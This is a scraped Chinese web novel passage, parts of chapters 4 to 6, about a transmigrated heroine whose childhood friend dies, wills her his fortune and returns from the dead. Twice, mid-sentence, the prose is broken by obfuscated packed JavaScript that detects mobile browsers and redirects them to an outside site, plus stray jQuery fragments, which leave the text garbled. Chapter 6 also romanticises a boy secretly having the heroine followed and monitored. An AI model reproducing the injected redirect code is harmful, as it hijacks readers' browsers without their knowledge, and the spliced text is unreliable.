考虑到治愈漫画里通常圣女系角色最受欢迎,白栀给自己捏了个“温柔善良”的白月光人设,美丽优秀圣洁无暇,对谁都不吝惜帮助,再在头上加个光环就能顺理成章普渡众生了。 果然,依靠着完美人设和漂亮脸蛋,多年来她在人际交往场上顺风顺水,从小到大就鲜少有人不喜欢她的。 这个世界她的攻略对象有两个,一个是青梅竹马的凌漾,一个是转学生江礼。 刷好感度当然是很简单的,但是黑化值要怎么加就让她不由得思考了一下—— 俗话说得好,爱一个人是藏不住的。 ……但是爱两个人就千万得藏住。 恋爱漫画里,没什么比争风吃醋更能快速增加男主的黑化值了,三角形是恋爱关系里最不稳定的形状,根据这个原则,白栀制定了很可行的攻略计划。 目前来看,效果不错。 凌漾的好感度早已满值,黑化值在她努力造作之下也在稳步提升,江礼那边的攻略则压根没什么难度。 按照这个趋势继续下去,完成任务指日可待。 没想到第一个世界这么简单。 白栀心情颇有些愉快。 但是这份愉快没能维持太久。 因为当天晚上,她就收到了凌漾的死讯。 4. 第四章(修) 凌漾去世那晚是暴雨夜。 据警方所说,凌漾晚上独自一人回了趟凌家祖宅,不知为何,他没有就地在祖宅休息,而是半夜时分突然开车离去。 也就是在他离去途中,不幸遇见了一个酒驾的货车司机,两车相撞,最终导致了车祸的发生。 凌家祖宅地处偏僻,四周没有监控,昨晚又下了大暴雨,很久都没有人经过,以致现场被发现得很晚,错过了最佳抢救时间,等救护车赶到的时候,凌漾已经没有生命迹象了。 总之,虽然很不幸,但这的确是一场盖棺定论的意外。 葬礼很快举行,白栀是受邀参加的人之一。 现场的一切都是白色的。 白色的花篮、白色的灵堂、白色的挽联。 还有人们胸口别着的白色小花。 来往宾客很多,有些人白栀认识,有些人她不认识,每个人都穿着黑色正装,神色肃穆。 这应该是很庄重的一幕,可白栀心里却升不起任何与之相匹配的严肃之情。 她甚至不觉得悲伤或难过,萦绕在胸口的,只有一股从得知消息时就诞生的巨大的违和感。 违和感。 就是违和感。 太奇怪了。 这不是“温馨治愈的校园恋爱漫”吗? 就算有“车祸”这种狗血元素,一般也是作为男女主感情推进的辅助剂,通常还要搭配“失忆”“癌症”“瘫痪”等等调味品一起食用……没听说过哪部恋爱漫画的男主出车祸会直接死掉啊? 这种剧情画出来真的不会被读者打吗? 白栀有点茫然。 她沉浸在迷思里神游天外,拿着白色花束跟随着悼念的人群向前移动,站在棺椁前,看见躺在花海里的那个少年时,白栀突然愣了一下。 这是那晚之后……她第一次看见凌漾。 那是一张苍白得过分的脸。 那是一张她看了十几年,熟悉到不能再熟悉的脸。 棺椁中的少年安静地闭着眼,就像是睡着了一样。 给人一种错觉,仿佛只要戳一戳他的脸,下一秒他就会抓住她的手坐起来,懒洋洋地让她别闹。 可是,他的胸膛没有任何起伏。 没有呼吸、没有颤动、也没有生机。 从刚才开始就一直能感受到的违和感,在这一刻逐渐消散。 死亡所带来的刻骨的真实,彻底占据上风。 再没什么能比亲眼看见对方的遗体,更能确认生命的消失了。 闲得无聊的时候,他们曾经也讨论过死后的问题,白栀希望自己的葬礼上能铺满五颜六色的花,这样会显得喜庆一点;凌漾对自己的葬礼没有任何要求,唯一的期望是她来看他的时候能多带点游戏机。 白栀满口答应,实际根本没把这件事放在心上。 凌漾作为恋爱漫画里的重要角色,活到寿终正寝想必不是问题。 而她呢? 按照现在的任务进度,最多三年她就能完成任务,彻底离开这世界,所以其实无论如何,她都是不可能陪他到生命结束的,更遑论来参加他的葬礼。 对于身后事的讨论,就只是无聊时的戏言罢了。 她还没做好,见到死去的他的准备。 白栀望着花海中安静沉睡的少年,心情复杂。 她想起了自己和凌漾的初遇。 七岁那年,她跟随父母搬到了富人所住的别墅区玉榕府。 当时系统因为不明原因出了点岔子,一直掉线,白栀根本不知道自己的攻略目标是谁,每天只能在玉榕府里乱窜,试图找到一点头绪。 也是在那个时候,她遇到了凌漾。 凌漾出生于名门望族凌家,祖上发家很早,家族里更是能人辈出。 经过数代的经营,到他父母那一代,凌家就已经辉煌到不能再辉煌,显赫到不能再显赫。 但奇怪的是,这个家族的人都离奇地短命。 早夭的、生病的、意外死亡的、被绑架撕票的……就没几个人能活到寿终正寝。 外界都说凌家受了诅咒,是“用寿命换取权势和财富的家族”。 再有钱也得有命享用才行,到了凌漾父母这一辈,凌家子嗣极度凋敝,直系血脉只有凌漾一个。 其余的孩子要么流产要么夭折,一个活下来的都没有。 然而就在凌漾五岁这年,凌父凌母也没能逃过凌家人的宿命,车祸离世。 偌大一个凌家,直系血脉近乎死绝,只剩下凌漾这一个什么都不懂的小孩子。 所有人都在蠢蠢欲动,都想从凌氏财团身上啃下一块肉来。 是凌漾现在的监护人站了出来,接过凌氏财团的担子,维持住了大局。 监护人全名赵绍晖,他是凌父凌母一手培养起来的心腹,对凌家忠心耿耿,对凌漾也十分关照。 凌父凌母那场车祸发生时,赵绍晖和其他几人就坐在后面一辆车上,车祸发生后他拼尽全力试图救下凌父凌母,但最终还是没能来得及。 也是因为有他在,才保证了凌家的继承权仍旧属于凌漾,没有落到其他不怀好意的旁支亲戚手中。 可,或许是掌管一个财团的运转实在过于忙碌,赵绍晖没有精力亲自照顾凌漾,只是把他安置在玉榕府的别墅里,并继续雇佣曾经照顾他的保姆来负责他的日常生活。 这也是小时候的白栀打探出来的消息,被她套话的老太太有些唏嘘:“凌家那个孩子也是命硬,克死了父母不说,偏偏他自己又得了那种病……就算父母留下的遗产再多,又有什么用呢?” 白栀很讨厌“谁克死了谁”这种说法,失去父母的小孩本来就已经够可怜的了,竟然还要无辜背负这样的骂名,简直不讲道理。 但她没有和老太太争辩,因为对方话里另一个话题引起了她的注意。 “那种病?哪种病?” “具体是什么不太清楚……听说好像是自闭症?” 老太太流露出回忆的神色。 “只知道那孩子从来不开口说话,也不和人交流,对外界的一切都没什么反应……应该算是自闭症里最严重的那种。” “对外界没反应?是他爸爸妈妈出车祸之后,受刺激太大导致的吗?” 白栀追问。 “他的病症在他父母出事之前就存在了,不过也不确定他父母的车祸有没有影响……可能是基因和环境的共同作用吧,自闭症不是迄今为止都没找到确切的病因吗?” 父母双亡的人生已经是困难模式了,更困难的是,幼时的凌漾还患有极其严重的自闭症。 在两人相识很长一段时间里,凌漾从不回应她的任何互动,对外界的一切都表现出一种极度的空洞和冷漠。 她来他就安安静静地听她说话,她不来他也从不会主动找她。 像个没有灵魂的漂亮人偶。 他们认识后不久的某一天,白栀意外发现凌漾身上有很多人为制造的伤口,被剪刀剪的、被开水烫的、被针扎的……新的伤口覆盖旧的伤口,有的甚至还在往外渗血。 虐待凌漾的正是一直照顾他的保姆。 保姆是凌漾妈妈幼时的朋友,凌漾妈妈出身清贫,但却十分努力上进,在跨越阶层嫁入凌家之后,她也没有忘记曾经的好友,知道幼时玩伴生活窘迫,还多次接济照顾对方。 她们的孩子年龄相仿,同为母亲,凌妈妈给凌漾准备了什么东西,也必然会给对方的孩子也准备一份。 可人心是最容易失衡的,人或许能接受距离自己很远的人获得成功,却很难接受曾经离自己很近的人获得成功。 好意和恩情有时换来的未必是感激,也有可能是怨恨。 所以凌母死后,保姆就顺理成章地把所有压抑的不满,全都发泄到了她的儿子身上。 从凌漾身上的伤痕新旧程度来看,他被保姆虐待已经持续很长一段时间了。 但是,没有父母的孩子就像杂草一样,根本没人管的。 所以这么久了,白栀竟然是第一个发现这件事的人。 她在检查时难免会触碰到他的伤口,但他一直都安安静静的,仿佛感觉不到痛,既不哭也不闹,只是乖乖地望着她,好像不懂她在做什么。 这让白栀这种没什么同理心的人,都不免觉得他有点可怜了。 她一直觉得患有自闭症的凌漾就像路边的小猫小狗一样,没有依靠,又很弱小,谁都能踢一脚,反正它们又不会说话。 可现在看来他比小猫小狗还不如。 至少小猫小狗被伤害了,还会逃跑,还会嘤嘤呜呜地表达自己的难受和疼痛,可他却连哭泣都不会。 更惨的是,以他的认知,或许都不知道自己被欺负了。 玉榕府的别墅早就被保姆鸠占鹊巢了,她把自己的丈夫孩子接进了别墅中,顺理成章地让自己的小孩霸占了凌漾的房间、玩具、衣服,将他的一切全都据为己有。 她拿着凌家留下的高额薪酬,让自己的孩子读最好的幼儿园,接受最好的教育,却不肯带凌漾去接受自闭症患者的干预治疗,平日里就把他关在不见天日的杂物间,像养狗一样给点食物和水吊着条命。 保姆做这件事做得心安理得,反正以小孩子的认知,说不定都不知道自己受了什么样的虐待,更没能力向其他大人告状。 只要表面功夫做到位了,谁又会去在乎一个父母双亡,自身还患有严重疾病的孩子呢? 白栀不是什么善人,她也并不爱管闲事。 但是她要给自己立“温柔善良的白月光”人设……而“温柔善良的白月光”,是不会对这种事视而不见的! 在她的干涉之下,保姆的罪行很快就被揭发,监护人赵绍晖知道后非常愤怒,立刻为凌漾更换了新的保姆。 为了观察新保姆会不会也在暗地里使坏,白栀几乎每天都会去陪凌漾玩,顺带陪他做做自闭症干预训练——虽然并没有什么用。 半年时光转瞬即逝。 半年后的某一天,白栀在拉着凌漾出去玩的时候遇到了车祸。 车辆撞击产生的玻璃碎片有一块直接插进了她的心脏,伤势太重,白栀差点以为自己就要死在这里了。 她并不害怕死亡,对任务者来说,在漫画中死亡,只是意味着脱离这个世界,前往下一个世界,最坏的结果也不过是扣积分而已。 可是如果她走了,凌漾该怎么办? 他还没有变回正常人。 鲜血不断从伤口处涌出,就连呼吸都是浓烈的血腥味,她就快要被拖入死亡的漩涡之中。 凌漾似乎还没有意识到她即将死去,又或许意识到了但并不明白死亡的含义,白栀望着男孩如雕塑般精致冷漠的面庞,想到自己这一年来做的“无用功”,心情万分复杂。 【如果你能成为正常人就好了。】 她想。 不需要多完美、不需要多优秀、也不需要多特别,只要是普通的正常人就好了。 幸运的是,白栀最终没有死在那场车祸里。 更幸运的是,仿佛被神聆听到了心愿,在她醒来之后,凌漾的病竟然真的痊愈了。 甚至都不需要中间过渡,也没有经过正规的训练,他的自闭症竟然就这样好起来了,就连医生也无法对此做出解释。 他如她所愿,成为了一个正常人。 恢复正常的凌漾展现出了极强的自理能力和学习能力,他不再需要旁人的照顾,干脆地辞退了所有保姆,但他照旧住在玉榕府的房子里,继续和白栀做邻居。 他家别墅的花园里种了一大片蓝粉色的绣球花,夏天风吹过花瓣的簌簌声就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142936|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一阵轻盈的风铃。 他们在风铃和蝉鸣声里打游戏写作业,一起上学放学,一起旅游度假,一起吐槽老师,就这样度过了一个又一个夏天。 后来的凌漾太正常了,陪伴她的时间太久了,久到她几乎忘记了最初的凌漾是个苍白冷漠,安静到仿佛没有灵魂的男孩。 直到此刻,直到此刻她看见棺椁中面无血色安静沉睡的凌漾时,他的面容,才终于和十几年前那张稚气又冷漠的脸重合。 凌漾死了。 可是,疑问却徘徊在白栀的脑海中。 凌漾的死,真的是意外吗? 他死了,最大的受益人又是谁呢? “白小姐。” 旁边突然传来一道苍老的声音,打断了白栀的思绪。 白栀循声望去,来者是负责举行这场葬礼的秦叔。 凌漾父母还在世时,秦叔就是凌家的管家,从凌漾爷爷那辈开始就在为凌家做事,可以说是为凌家奉献了一生,甚至到老了都没有自己的孩子。 凌父凌母去世后,他大概是剩余的那些“旧臣”中,对凌家——或者说对凌漾最忠心的人了。 “白小姐,我这里有一份遗嘱,需要您过目确认。” 白栀微微一怔:“遗嘱?” “少爷在很早之前就立下遗嘱,一旦他发生意外,他死后名下的所有资产和凌氏财团的股权,将全部由您继承。若您彼时尚未成年,遗产将由凌氏财团名下的基金会和信托机构共同监督管理至您成年为止。” “他名下的所有资产……全部由我继承?” “是。” 凌漾是凌家最后的继承人,他一死,没人知道凌家世代积累的庞大财富将去往何处。 白栀接过秦叔递过的遗嘱,伸手轻轻摸了下那个熟悉的签名。 凌漾的字其实很漂亮,但或许是生性散漫,他的笔锋也像他的人一样总有些随意草率,名字的笔画更是能敷衍就敷衍。 她很少看见“凌漾”这两个字,被他写得这么认真端正。 “遗嘱是什么时候立下的?” 她问。 “有一段时间了。”秦叔说,“那时白小姐你还没成年,担心赠与你的遗产会被旁人侵占,少爷才会考虑让家族基金会和信托机构代为管理——他知道白小姐您有个比您小几岁,但很得父母宠爱的弟弟。” “不过,如今白小姐您已经成年,也就没有让机构代为管理的必要了。” “他倒是……考虑得很周到。” 白栀轻声说。 “和白小姐相关的事,少爷一向周到。” 白栀看着手里那份遗嘱,想到自己成为亿万富翁的未来,很想笑一下,但又实在笑不出来。 进度还没完成,攻略目标就死了,她的任务可以说是直接失败了一半。 第一个世界就出师不利,这业绩实在有点难看……她该不会被漫画部退货吧? 要是被漫画部退货,她就只能重新回游戏部,可是已经跳槽过一次了,再回到老东家免不了被穿小鞋,说不定连游戏里落地成盒的炮灰NPC都演不了了,只能去演画风降级的火柴人…… 想到自己可能沦落到人形都保不住的悲惨未来,白栀只觉眼前一黑,身体不自觉地晃了晃,有种就地晕倒的冲动。 “喂——你没事吧?!” 一只手扶住了她的肩。 来人是个和她年岁相仿的英俊少年,同时也是她的同学,赵延。 赵延是赵绍晖的儿子,赵绍晖又是凌漾的监护人,因为这层关系,白栀从小就认识了赵延。 但是不知为何,凌漾和赵延的关系一直不太好,考虑到凌漾的感受,白栀也不会闲着没事去和赵延套近乎,所以虽然做了很长时间的同学,但白栀和赵延一直算不上亲近。 眼见面前的少女泪盈于睫,面如死灰,身体还仿佛纸做的一样差点被风吹倒,赵延神色复杂:“怎么回事?一直没吃饭低血糖了?要不是我扶着你,你刚才都差点晕倒了。难过到这种程度,连自己身体都不在乎,你就……这么喜欢他么?” 白栀:“……那倒不是因为这个。” “那是因为什么?” “你不懂……” 白栀忧郁地望着手中厚厚一叠的巨额遗产赠与书……恨不得现在就掀开棺材板用它抽打里面躺着的人。 可恶的凌漾,给她这么多钱干什么,带又带不走,倒不如他现在诈尸复活让她顺利完成任务再死还比较有实际意义! 他这一死倒是一了百了,但是她的任务……她的积分……她的自由……她的光明前景……她这十几年如一日的努力…… 想到这些全都化成了泡影,白栀一时悲从中来,伏在棺椁上伤伤心心地痛哭了起来。 殡仪馆的工作人员轻轻拍了拍她的肩:“这位同学,你悲伤的心情我们十分理解……但是时间到了,我们需要送您的朋友——” 白栀哽咽着打断他的话:“不许火化!再放几天!万一能复活呢!” 她哭得眼睛红红的,看起来真是可怜极了。 掉落的泪珠不停地砸在棺椁的透明玻璃上,又仿佛是隔着玻璃,落在了少年那张安静苍白的面容上。 明明没有风,可棺椁中簇拥着少年的纯白花瓣却如同经受不住泪珠的重量,开始不停地颤动。 不停地颤动。 * 白栀发誓,那句话她真的是因为任务失败发疯胡说的,完全没有抱着要它成真的意思。 毕竟人死是不能复活的,死过的朋友们应该都明白这一点。 这是个再平凡不过的世界,她在这里待了十几年,从未遇到过灵异事件,就连作死玩笔仙都没招来过阿飘。 可是,就在葬礼不久之后…… 凌漾竟然真的回来了。 5. 第五章 凌漾死而复生这件事,没有引起任何讨论,白栀试探过同学和老师的反应后,发现了一个很古怪的现象。 第一、他们都记得凌漾去世这件事。 第二、他们都认同“人死是不能复生的”。 第三、他们都觉得“凌漾死而复生”是正常的、合理的、不需要过多讨论的。 很奇怪不是吗? 这三点在逻辑上完全无法并存,可是它就像常识——甚至像真理一样,刻进了每个人的脑海里,除了白栀,没人觉得这件事是不正常的。 仿佛认知被扭曲了似的。 可要同时扭曲这么这么多人的认知,以现有的科技手段,根本不可能办到吧? 如果全世界都认同一件事,只有你觉得这件事不合理,那么疯的到底是这个世界,还是你自己? 想弄清这个问题也很容易,直接问系统就好了,系统是任务者在各个世界确认自身存在的锚点,任务者可能迷失,但系统绝对清醒。 可问题就出在这里。 白栀发现自己联系不上系统了。 她不确定具体是哪个时间节点——也许是凌漾回来以后——总之,她联系不上系统了。 无论她在脑海里怎么cue系统,对方都没有任何回应。 虽然基础功能还能正常使用,但系统似乎已经彻底从这个世界消失了。 系统是任务者在执行任务时,唯一能联系到漫画部的渠道,一旦失联,也就意味着她和漫画部之间系着的那根绳子……断开了。 她的心缓缓沉了下去。 白栀终于意识到了一件事。 她所在的这个副本,好像不是什么“温馨治愈的校园恋爱漫”。 这到底是个什么世界? * 最后一节是体育课。 体育课采取全年级共同上课的大课模式,学生可以根据自己的特长和爱好,随意选择自己喜欢的项目。 栀栀心脏有点小问题,不适合剧烈运动,所以做完基础训练后,就自己走到角落里去休息了。 没过多久,叶晴也过来陪她了,两人闲聊了一阵,话题突然拐到了凌漾身上。 “你和凌漾最近是怎么了?你俩吵架还没和好啊?” “为什么这样说?我们没有吵架啊。” “啊?那……难道是他惹你生气了?唉,我知道上个星期凌漾没有陪你出去玩你肯定有点不高兴,但他也是因为死了才会失约,可以理解的,不要因为这种小事就不理他呀,太伤感情了。” 白栀:“……” 这是说的什么话!她都无力吐槽了! 因为所有人的认知都在“凌漾死而复生”这件事上扭曲了,只有她没有的话,明显得简直像混入狼群的小白兔,所以白栀认为自己也不要暴露为好。 所以她给自己的定位是“隐隐觉得凌漾哪里不太对,但是又说不出到底是哪里不对”这样。 可谓进可攻,退可守的完美状态。 说实话这完全是无奈之举,凌漾这死小子回来之后我行我素到了令人发指的程度,没有任何想向她解释一下缘由的兆头,仿佛他不是死了一次,而是出去度了两天假。 更让白栀郁闷的是,这家伙满值的【好感度】直接变成了0,原本稳定增长的【黑化值】也变成了“???”,根本看不见具体数值。 这到底是系统bug,还是出了别的什么问题? 白栀不得而知。 没有办法得知具体数值,就无法得知攻略进展,也就难以揣测这货心里在想什么…… 不过这段时间他倒是没什么异常,对白栀的态度似乎有些冷淡,他没有刻意避开她,只是如果她不主动找他的话,凌漾也不会主动找她。 白栀做出一副“黯然神伤”的模样,自然的,“凌漾和白栀吵架了”“凌漾和白栀在冷战”这种流言也开始甚嚣尘上。 估摸着氛围铺垫得差不多了,是时候找凌漾谈谈了。 所以很碰巧地,今天白栀就恰好在篮球场后面的无人地带“偶遇”。 看见他的时候,他正低头望着面前的自动贩卖机,似乎是在考虑买哪个口味的汽水。 少年身形高挑,即便微微低着头,也像竹子一样修长清隽,侧脸好看得直接拍下来电影海报都没问题。 都是一样的黑白校服,但是穿在他身上就显得格外帅一点。 白栀酝酿了一下情绪,迅速进入演戏状态,然后才走到他身边一米远的位置站定。 没有离他太近,是她自己的问题。 自从他回来以后,她就发现他们之间,出现了一些很微妙的变化。 只要离他稍微近一点,她的身体就会不受控制地发软、发热,想要亲近他、抱住他、黏在他身上、甚至……甚至想要和他融为一体。 其中,“想要和他融为一体”的感觉最为强烈。 最初她也有些困惑,以为是自己想搞涩涩想疯了,才会对窝边草这么饥渴。 但后来她发现自己好像错了,她好像不是单纯地想搞涩涩,而是字面意义上的很想融进他的身体里。 似乎那样才是最安全的。 这是身体的想法,不是她大脑的想法。 这种反应着实有些古怪,按理说,她已经意识到了凌漾有问题,就算身体出现预警,不也应该是面对危险想要远离的预警吗? 为什么反而是想要靠近? 栀栀想不明白。 凌漾似乎没有注意到她的存在,她在这站了一会儿,他也没有看她一眼,她只好主动开口:“凌漾,我、我有事想和你聊聊……你现在有时间吗?” “恐怕不行。”他拒绝道,“我现在有点麻烦。” “……麻烦?什么麻烦?” 凌漾没回答,只是伸出手:“手机借我一下。” “诶?”栀栀愣了一下,没反应过来,下意识把手机递给他,“怎么了?要打电话给谁吗?你的手机……” “忘在教室了。” 他一边回答,一边接过她递来的手机,熟练解锁、扫码、付款。 “嘀——” 一声短促的提示音,两罐葡萄味汽水从自动贩卖机的出口滚了出来。 “谢了,钱一会儿转你。”他俯身捡起两罐汽水,顺带递了一罐给她,微微抬手示意,“喝吗?” 他说的麻烦居然是这个。 一如既往的散漫作风,顿时让以为他真有什么麻烦事的栀栀有点火大:“凌漾!” “……好凶。”凌漾愣了一下,下一秒笑起来:“只是借你钱买瓶汽水,不至于吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142937|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他面无表情的时候会有种不近人情的冷漠,但是笑起来确实非常阳光开朗,没有丝毫阴霾,让栀栀莫名恍惚了一瞬。 她接过汽水的同时,不小心触碰到了他的手指。 指尖触感是温热的。 不是冰冷的、也不是僵硬的。 而是正常人温暖柔软的肌肤触感。 白栀垂下眼帘。 此时正值下午,太阳已经过了最炽热的时候,开始向着西边落下,他们的身影都被阳光拉得很长很长。 他的影子……也没有任何异样。 肌肤是温暖的,面色是正常的,影子是存在的。 一切都是这么地——平常。 好像没有任何不合理的地方。 “你在看什么?” 他的声音冷不丁地在她耳畔响起。 仿佛被抓住了什么破绽似的,他的突然出声,让栀栀心脏几乎停跳了一瞬。 她拿过汽水,若无其事地摇了摇头:“……没看什么。” 橙红色的光影流过他精致的眉眼。 凌漾看了她一会儿,突然俯身靠近:“你在怕我。为什么?” 疑问句,用的却是陈述的语气。 凌漾很高,是那种鹤立鸡群的修长高挑,他一靠近,整个人的影子都朝着她投了下来。 就身高体型而言,压迫感有点太强了。 随着距离的接近,凌漾对她的那种奇怪吸引又出现了。 想扑进他怀里,想紧紧抱住他,想干脆融进他的身体里,想和他合而为一…… 栀栀头晕目眩,强忍着投怀送抱的不理智冲动,微微往后退了一步,小声又艰难地说:“没有……我没有……没有怕你。” “真的吗?”他一只手按在她肩上,好心提醒,“可是你在发抖哦。明明是初夏,有这么冷吗?” 他根本不明白。 发抖不是因为恐惧,而是因为尽力遏制。 心里明明知道他有古怪,很危险,绝对不能放松警惕,身体却不受控制地想向他靠近。 就连他什么都不做,只是面无表情地站着,就连微微垂下的纤长睫毛,似乎都对她充满了蛊惑力。 理性上想要远离,感性上却想要靠近。 简直矛盾至极,这种感觉实在太折磨人。 凌漾的手还按在她的肩上没有松开。 栀栀无法挣脱他的掌心,她不知道到底是因为凌漾手腕力道太大,还是那种古怪的感觉让她无法主动脱离。 就在她晕晕乎乎的时候,同学突如其来的喊声把她从混沌的思绪中拉了出来。 “班长,张老师叫我让你去办公室一趟,她有事和你说!” 如梦初醒。 栀栀回过神来,温柔地冲同学点了点头:“……好的,谢谢你告诉我,我马上过去。” 她往后退了一步。 凌漾没有拦她的意思,顺从地松开了手。 他平静地往一旁让了让,直到她离开也没有再说一句话。 白栀能明确看到他头顶那个鲜红色的,显示为“0”的好感度。 似乎是注意到了她的视线,他垂着眼帘,微微蹙了蹙眉,但是没有看她。 是她的错觉吗? 她总觉得凌漾对她……好像有些说不出的厌烦? 6. 第六章 凌漾一直都知道,他的青梅是一个极其温柔好心,对任何人都不吝惜释放善意的女孩。 在很长一段时间里,他都为此感到困扰。 为什么要对别人笑? 为什么要和别人玩闹? 为什么要不遗余力地帮助那些人? 搞不懂她这样做的意义在哪儿,明明都是些无关紧要的存在。 她就像是一朵漂亮又单纯的小花,毫无自觉地向外散发着香气,却不去想这样会吸引来多少没有自知之明的虫子。 她这么柔弱,且毫无自保之力,如果危险找上门来,她该怎么办呢? 他总是很怕她会受到伤害。 可是,强行干涉她的人际关系和个人空间是不对的,她想和谁出去玩是她的自由,他没有理由也没有立场去阻止,如果他独断专行,白栀一定会生气。 他不想让她生气。 所以,他只能派人跟踪监视她。 白栀没有和他在一起的时间里,她做了什么、去了哪里、见了谁……他全都知道得一清二楚。 长期的跟踪监视似乎还是引起了她的不安。 白栀曾经害怕地说感觉暗中一直有人在注视着她,拜托他一定要好好保护她,不要离开她太远。 凌漾自然是爽快地答应了。 真可爱。 她一无所知,却对罪魁祸首满心依赖的样子真可爱。 但,仅仅只是这种程度,还远远不够。 她就像是一朵娇弱的小花,让他想造一座纤尘不染的玻璃花房,把她这朵小花完完整整地罩进去,小心仔细地保护起来,再也不用面对任何可能的风险。 每次思考到这样的未来,他心里都会涌起一股满足感。 可同时他也冷静地知道,就算他真的造好了玻璃花房,她也绝对不会乖乖住进来。 白栀虽然表面看起来温温柔柔的,但他知道她骨子里有多执拗、有多不会妥协。 她是一个正直善良、永远选择正确选项的女孩,讨厌强势的男人、讨厌被控制,如果他不够符合她心中的“正确”、不够成为她眼中的同类,哪怕再喜欢他,她也一定不会选择他。 所以他只能强行克制住自己超乎寻常的保护欲和占有欲,在她和其他同学来往时,哪怕再不甘再嫉妒再痛苦,表面也要装出一副笑吟吟的模样来。 不能被她察觉。 不能被她害怕。 不能被她讨厌。 所以只能忍耐。 这种日子……真是受够了。 为什么她不能只是乖乖待在他身边呢? 为什么她不能满足他这个小小的心愿呢? 明明他这么喜欢她。 他这么喜欢她。 很难说清这种感情是怎么发展到现在的,又是因为什么开始的,但总之,不会是因为“她长得美”或者“性格温柔”这样肤浅的理由。 硬要说的话……凌漾觉得自己很难拒绝她的眼眸。 或许就连白栀自己也没发现,她面对周围的一切、其他所有人时,目光总是温柔的、平静的、一视同仁的。 唯独在看向凌漾时,那双眼睛才会突然亮起来,瞬间绽放出千万种光彩。 仿佛只有被她全心全意注视着的他,才是最重要的存在。 仿佛他就是她来到这个世界的唯一理由。 让人目眩神迷。 没有人能抗拒她的眼眸,至少凌漾不能。 可是这却渐渐让他感到痛苦。 因为白栀无法总是注视着他。 凌漾在学校里人缘很好,他总是笑眯眯的,好像和谁都能合得来,别人来找他帮忙他也几乎不会拒绝,一副很好说话的模样,简直像是恋爱漫画里完美无缺的男主角。 “凌漾,下周我生日派对,你会来的吧?”男生若无其事地试探,“顺便有空的话,也让班长一起来啊?” “好啊,我问问栀栀。”他微笑,“看她有没有时间吧。” 不自量力的癞蛤蟆。 痴心妄想也得有个度吧? 他想。 “凌同学,我喜欢你好久了……”女孩脸红地不敢看他,“我、我……我们可以交往试试吗?” 他微笑:“抱歉,我暂时没有谈恋爱的打算。” 女孩鼓起勇气追问:“那、那我可以知道凌同学……对我是怎么想的吗?” 能怎么想?能不能滚啊?大庭广众之下告白,万一传出流言让白栀误会了,她拿什么赔他啊? 凌漾就是这样,阳光开朗、平易近人只是假象,阴郁冷漠、高傲刻薄才是真正的他,除了白栀外,可以说是一视同仁地看不起所有人。 其实凌漾并不关心旁人怎么想他,之所以这样隐藏自己的本性,也不过是在乎白栀的看法。 因为她是个温柔善良、乐于助人的女孩,所以他也必须伪装成和她一样的人,才称得上是足够相配。 在她面前,他不能表现出自己的占有欲、不能表现出自己的保护欲、哪怕吃醋嫉妒得快要发疯了,也要按耐住所有情绪,装成一个正常人。 他必须当一个正常人。 一年、两年、三年……日复一日。 真是要疯了。 忍耐到极致的时候,也会想干脆把她关起来算了,但是这个念头出现不了多久就会被打消。 白栀那么信任他、依赖他,凌漾不想有一天在她眼里看到厌恶和恐惧,更不想她变成枯萎的小花,他不止想得到她,更希望她永远幸福快乐。 她难过,他就会心痛;她高兴,他就会开心。 就这样被她轻而易举操控了全部情绪,真是有够没出息的。 但他无法控制。 白栀有个比她小几岁的弟弟,父母重男轻女,偏爱弟弟远胜过她这个女儿,甚至一度有过让儿子读学费昂贵的私立学校,女儿随便送去其他学校读读就好的念头。 明明不差那点钱,却还是想再省点、再多省点,恨不得全都留给他们的宝贝儿子。 这么多年白栀能始终和凌漾读同一所学校,全靠凌家一直给白父的公司输血,让渡了足够的利益,白父白母才勉强不把偏心表现得那么明目张胆。 当然,这些凌漾没有告诉过白栀,涉及金钱的事总是敏感的,他想尽量减少父母偏心带给她的伤害,更不想她在他面前有低了一头或是欠了他什么的感觉。 从某种意义上来说,他的确在她身边建了一座无形的玻璃花房。 是控制监视,也是照顾保护,是绝不允许她脱离他的视线范围,也是竭尽所能满足她的一切愿望和需求。 他从未如此爱过一个人,以前没有过,今后也不会有。 如果继续这样下去,他们最后一定会在一起。 可是,江礼出现了。 那个家伙,冷漠又阴郁、高傲又离群,不够阳光开朗、不够幽默风趣,对白栀也很没有礼貌,明明没有哪一点比得上他。 一个处处不如他的存在。 凌漾向来是懒得给这种人任何关注的,从一开始,他就不认为江礼有成为他情敌的资格。 可是,白栀的目光竟然真的被他吸引了过去。 她第一次对除了自己以外的人,投注那样的视线。 那种——“全世界你唯一重要”的视线。 凌漾无法形容自己发现这一点时的心情。 为什么会这样? 为什么会这样? 她为什么要用这种目光看别人? 他在她心里难道不是唯一特别的存在吗? 是他哪里做错了吗? 是他做错什么了吗? 痛苦、慌乱、恐惧、嫉妒、愤怒、茫然……种种情绪在血液里疯狂翻涌,他就像是莫名被判了死刑所以手足无措的犯人,明明连罪名是什么都还没弄明白,就要站在法官面前开始尝试为自己辩解。 可就连辩解都是无用的,白栀的注意力开始越来越多地向江礼倾斜。 以一种,他无法挽回的姿态。 他认识她多久,江礼认识她多久? 他陪了她多少年,江礼陪了她多少年? 他为她做了多少,江礼又为她做了多少? 为什么她能理直气壮地说出“希望他永远陪在她身边,以朋友的身份见证她和别人恋爱 